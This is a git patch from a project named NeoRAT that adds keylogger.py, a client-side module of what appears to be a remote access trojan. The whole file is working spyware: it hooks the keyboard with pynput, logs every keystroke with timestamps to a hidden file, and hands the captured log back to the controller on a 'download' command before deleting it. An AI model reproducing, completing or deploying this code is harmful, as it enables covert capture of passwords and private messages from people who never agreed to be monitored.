From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001
From: AL-LCL <alvin@alvinhavel.com>
Date: Fri, 19 May 2023 11:01:49 +0200
Subject: NeoRAT

---
 foreign/client_handling/keylogger.py | 84 ++++++++++++++++++++++++++++++++++++
 1 file changed, 84 insertions(+)
 create mode 100644 foreign/client_handling/keylogger.py

(limited to 'foreign/client_handling/keylogger.py')

diff --git a/foreign/client_handling/keylogger.py b/foreign/client_handling/keylogger.py
new file mode 100644
index 0000000..3f4b277
--- /dev/null
+++ b/foreign/client_handling/keylogger.py
@@ -0,0 +1,84 @@
+import threading
+import time
+import sys
+import os
+
+from pynput.keyboard import Key, Listener
+
+from foreign.parse.crash_exception_handling import *
+from foreign.global_state import *
+
+
+@crash_exception_handling
+def keylogger_action():
+  def on_press(key):
+    if not state['keylogger']['running']:
+      state['keylogger']['thread'] = None
+      sys.exit(0)
+
+    result = ''
+    timestamp = time.strftime("%Y-%m-%d (%H-%M-%S): ")
+
+    key = str(key)
+    if key.startswith('\'') and key.endswith('\''):
+      key = key[1:-1]
+    elif key.startswith('Key.'):
+      key = key[4:]
+
+    if state['keylogger']['first']:
+      if key not in ('space', 'enter'):
+        result = timestamp
+      state['keylogger']['first'] = False
+    
+    if len(key) > 1:
+      result += f'[{key}]'  
+    else:
+      result += key
+
+    if key in ('space', 'enter'):
+      result = f'\n{timestamp}{result}'
+    
+    with open(f'{state["root"]}/{state["keylogger"]["file"]}', 'a') as f:
+      f.write(result)
+
+  with Listener(on_press=on_press) as L:
+    L.join()
+
+
+def keylogger(action_type):
+  if action_type == 'run':
+    if not state['keylogger']['running']:
+      state['keylogger']['running'] = True
+      
+      if state['keylogger']['thread']:
+        if not state['keylogger']['thread'].isAlive():    
+          state['keylogger']['thread'] = threading.Thread(target=keylogger_action, daemon=True)
+          state['keylogger']['thread'].start()
+      else:
+        state['keylogger']['thread'] = threading.Thread(target=keylogger_action, daemon=True)
+        state['keylogger']['thread'].start()
+      return {'message': 'Keylogger thread started', 'text_mode': 'primary', 'text_extras': {'point': True}} 
+    else:
+      return {'message': 'Keylogger is already running', 'text_mode': 'warning'}
+  elif action_type == 'download':
+    if os.path.isfile(f'{state["root"]}/{state["keylogger"]["file"]}'):
+      with open(f'{state["root"]}/{state["keylogger"]["file"]}', 'rb') as log:
+        file_data = log.read()
+      os.remove(f'{state["root"]}/{state["keylogger"]["file"]}')
+      state['keylogger']['first'] = True
+      return {'message': 'Keylogger logs successfully downloaded', 'text_mode': 'success', 'logs': file_data}
+    else:
+      return {'message': 'No keylogger logs available for download', 'text_mode': 'warning'}
+  elif action_type == 'close':
+    if state['keylogger']['running']:
+      state['keylogger']['running'] = False
+      return {'message': 'Keylogger successfully closed', 'text_mode': 'success'}
+    else:
+      return {'message': 'Keylogger is not running', 'text_mode': 'warning'}
+  elif action_type == 'status':
+    if state['keylogger']['running']:
+      return {'message': 'Keylogger is currently running', 'text_mode': 'primary'}
+    else:
+      return {'message': 'Keylogger is not running', 'text_mode': 'warning'}
+  else:
+    raise Exception('Error message')
\ No newline at end of file
-- 
cgit v1.2.3